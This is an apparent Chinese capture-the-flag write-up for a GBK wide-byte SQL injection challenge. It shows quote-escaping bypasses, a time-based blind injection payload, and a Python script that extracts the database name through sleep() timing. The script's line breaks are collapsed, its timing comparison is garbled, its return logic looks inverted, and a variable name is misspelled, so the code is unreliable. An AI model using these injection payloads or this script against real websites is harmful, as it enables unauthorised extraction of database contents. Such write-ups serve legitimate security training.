0x00题目:
your sql:select id,title from news where id = '1'
here is the information
0x01以前的题解是使用%df加上单引号,通过宽字节注入。另外#被转移,故使用%23代替#绕过。
但是今天我做的时候,发现另一个payload也可以:
payload: 1’',此处第一个单引号是中文的 ‘,第二个单引号是英文的 ' 页面返回如下:

可以看到单引号没有被转义,因此可以通过中文单引号构造payload
我比较喜欢使用延时注入,无论有无回显都能用,缺点是耗时长。
查数据库长度:
index.php?id=1‘'||if((length(database()))=1,sleep(5),2);%23
爆出来数据库长度14.
然后爆数据库名:
‘sae-chinalover’
0x02
此处给出爆数据库名的python3脚本:
#!/usr/bin/env python3# -*- coding: utf-8 -*-import requestsimport time#get型时间盲注def http_blindTime_get(url,payload): #记录发包时间 starttime = time.time() result = requests.get(url+payload) #记录收包时间 endtime = time.time() if(endtime-starttime3): return False else: return True#get方式获取数据库名,攻击载荷需修改函数变量构造def getDatabaseName(url): #先获取数据库长度,推测不会长于16个字符,故range 0,10 #逻辑为当数据库长度正确时使数据库休眠5秒,故当收发包时间差大于3s时break batabaselength = 0 for i in range(0, 15): payload = "index.php?id=1‘%27||if((length(database()))="+str(i)+",sleep(5),2);%23" if http_blindTime_get(url,payload): databaselength = i break print('数据库名长度:',str(databaselength)) if databaselength==0: return False else: #获取的数据库长度不为0,表明成功获取数据库长度,爆数据库名 databasename="" for i in range(1,databaselength+1): for j in range(1, 128): payload = "index.php?id=%df' or if((ascii(substr((select database()),"+str(i)+",1))="+str(j)+"),sleep(5),0);%23" if(http_blindTime_get(url, payload)): databasename += chr(j) break print('数据库名:', str(databasename)) return databasenamedef main(): url="http://chinalover.sinaapp.com/SQL-GBK/" getDatabaseName(url)if __name__ == '__main__': main()其余表名、字段名及flag同上可爆出来。
效果如图:

当然,本题还有其他办法。直接使用union select即可













